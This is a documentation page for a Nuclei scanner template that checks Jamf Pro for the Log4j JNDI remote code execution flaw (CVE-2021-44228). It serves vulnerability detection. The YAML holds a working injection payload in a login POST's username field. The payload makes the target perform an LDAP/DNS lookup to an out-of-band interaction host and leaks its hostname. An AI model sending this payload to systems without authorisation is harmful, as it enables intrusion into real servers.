Skip to content
Nuclei Templates

JamF Pro - Remote Code Execution (Apache Log4j)

ID: jamf-pro-log4j-rce

Severity: critical

Author: DhiyaneshDK,pdteam

Tags: cve,cve2021,rce,jndi,log4j,jamf,oast,kev

Description

Section titled “Description”

JamF is susceptible to Lof4j JNDI remote code execution. JamF is the industry standard when it comes to the management of iOS devices (iPhones and iPads), macOS computers (MacBooks, iMacs, etc.), and tvOS devices (Apple TV).

YAML Source

Section titled “YAML Source”
id: jamf-pro-log4j-rce


info:
  name: JamF Pro - Remote Code Execution (Apache Log4j)
  author: DhiyaneshDK,pdteam
  severity: critical
  description: |
    JamF is susceptible to Lof4j JNDI remote code execution. JamF is the industry standard when it comes to the management of iOS devices (iPhones and iPads), macOS computers (MacBooks, iMacs, etc.), and tvOS devices (Apple TV).
  reference:
    - https://github.com/random-robbie/jamf-log4j
    - https://docs.jamf.com/technical-articles/Mitigating_the_Apache_Log4j_2_Vulnerability.html
    - https://community.connection.com/what-is-jamf/
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Jamf Pro"
  tags: cve,cve2021,rce,jndi,log4j,jamf,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'


http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded


        username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/test}&password=


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Jamf Pro Login</title>"


      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


    extractors:
      - type: kval
        kval:
          - interactsh_ip


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a00473045022004d91776410a4a549cc29c00819276c024ee928a18ad472dc4bd1977f6b47ff6022100ac59abe7c0929c14909a0c954008dd8f5630a76a70f5aae1782b5529f185c4eb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/apache/log4j/jamf-pro-log4j-rce.yaml"

View on Github